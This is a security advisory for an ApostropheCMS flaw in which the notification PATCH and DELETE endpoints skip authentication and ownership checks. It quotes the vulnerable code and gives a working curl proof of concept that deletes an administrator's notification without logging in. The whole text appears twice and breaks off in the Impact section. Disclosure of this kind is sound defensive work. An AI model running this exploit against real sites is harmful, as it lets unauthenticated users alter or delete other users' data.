CVE-2026-113665

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

---

Affected Code

File

packages/apostrophe/modules/@apostrophecms/notification/index.js

// restApiRoutes
async patch(req, _id) {
  const dismissed = self.apos.launder.boolean(req.body.dismissed);

  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });

    await self.db.updateOne(
      { _id },
      {
        $set: { dismissed },
        $currentDate: { updatedAt: true }
      }
    );
  }
},

async delete(req, _id) {
  await self.db.deleteMany({ _id });
}

Unlike the GET notification route, these handlers do not verify:

• Authentication (req.user)
• Ownership (userId === req.user._id)
• Authorization or permissions

Instead, the supplied _id is used directly against the raw MongoDB collection.

---

Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

No equivalent validation exists in the PATCH or DELETE handlers.

---

Proof of Concept

1. Log in as an administrator

curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "username":"admin",
  "password":"AdminP@ssw0rd123!",
  "session":true
}'

---

2. Create a notification

curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Example response:

{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

---

3. Verify the notification exists

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[
    {
      "_id":"p358r7phi2w8l245ww5130uf",
      "userId":"i89h844o5n3nbreis0ugusum",
      "message":"manual verify test"
    }
  ],
  "dismissed":[]
}

---

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Then send the request without any authenticated session:

curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Response:

HTTP/1.1 200 OK

---

5. Verify the notification has been deleted

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[],
  "dismissed":[]
}

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

---

Impact

An attacker who obtains a valid notification ID can:

• Delete another user's notifications. -…

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

---

Affected Code

File

packages/apostrophe/modules/@apostrophecms/notification/index.js

// restApiRoutes
async patch(req, _id) {
  const dismissed = self.apos.launder.boolean(req.body.dismissed);

  if (dismissed) {
    await self.emit('beforeSave', req, { _id, dismissed });

    await self.db.updateOne(
      { _id },
      {
        $set: { dismissed },
        $currentDate: { updatedAt: true }
      }
    );
  }
},

async delete(req, _id) {
  await self.db.deleteMany({ _id });
}

Unlike the GET notification route, these handlers do not verify:

• Authentication (req.user)
• Ownership (userId === req.user._id)
• Authorization or permissions

Instead, the supplied _id is used directly against the raw MongoDB collection.

---

Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

if (!(req.user && req.user._id)) {
  throw self.apos.error('invalid');
}

No equivalent validation exists in the PATCH or DELETE handlers.

---

Proof of Concept

1. Log in as an administrator

curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "username":"admin",
  "password":"AdminP@ssw0rd123!",
  "session":true
}'

---

2. Create a notification

curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
  "message":"manual verify test",
  "type":"info"
}'

Example response:

{
  "noteId":"p358r7phi2w8l245ww5130uf"
}

---

3. Verify the notification exists

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[
    {
      "_id":"p358r7phi2w8l245ww5130uf",
      "userId":"i89h844o5n3nbreis0ugusum",
      "message":"manual verify test"
    }
  ],
  "dismissed":[]
}

---

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

Then send the request without any authenticated session:

curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"

Response:

HTTP/1.1 200 OK

---

5. Verify the notification has been deleted

curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

{
  "notifications":[],
  "dismissed":[]
}

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

---

Impact

An attacker who obtains a valid notification ID can:

• Delete another user's notifications. -…